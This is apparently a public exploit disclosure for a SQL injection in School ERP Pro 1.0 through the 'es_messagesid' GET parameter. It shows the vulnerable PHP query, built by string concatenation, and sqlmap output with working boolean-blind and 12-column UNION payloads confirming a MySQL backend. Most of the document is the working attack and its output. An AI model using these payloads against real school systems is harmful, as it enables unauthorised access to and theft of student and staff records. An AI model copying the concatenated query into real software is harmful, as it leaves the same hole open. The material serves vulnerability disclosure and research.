# Exploit Title: School ERP Pro 1.0 - 'es_messagesid' SQL Injection# Date: 2020-04-28# Author: Besim ALTINOK# Vendor Homepage: http://arox.in# Software Link: https://sourceforge.net/projects/school-erp-ultimate/# Version: latest version# Tested on: Xampp# Credit: İsmail BOZKURT
SQL Injection Detail
--------------------------------*# Vulnerable parameter: es_messagesid**# Vulnerable code:*if($action=="fullmessage_sent"){
$msg_qry ="SELECT * FROM es_messages WHERE
from_id=".$_SESSION['eschools']['user_id']." AND from_type='student'and
es_messagesid=".*$es_messagesid;*
$details_message=$db->getrow($msg_qry);}
?>*Here is the SQLmap output:**----------------------------------------*
GET parameter '*es_messagesid*'is vulnerable.
sqlmap identified the following injection point(s):---
Parameter: es_messagesid (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: pid=27&action=fullmessage_sent&es_messagesid=17 OR NOT
6369=6369
Type: UNION query
Title: Generic UNION query (random number)-12 columns
Payload: pid=27&action=fullmessage_sent&es_messagesid=17 UNION ALL
SELECT
6194,6194,6194,6194,6194,6194,CONCAT(0x7162626b71,0x664750636f625866666c63425571426c5277516c49506c696f6548764c5a617977414d4849575a67,0x71707a7671),6194,6194,6194,6194,6194------[01:09:41][INFO] testing MySQL
[01:09:42][INFO] confirming MySQL
[01:09:44][INFO] the back-end DBMS is MySQL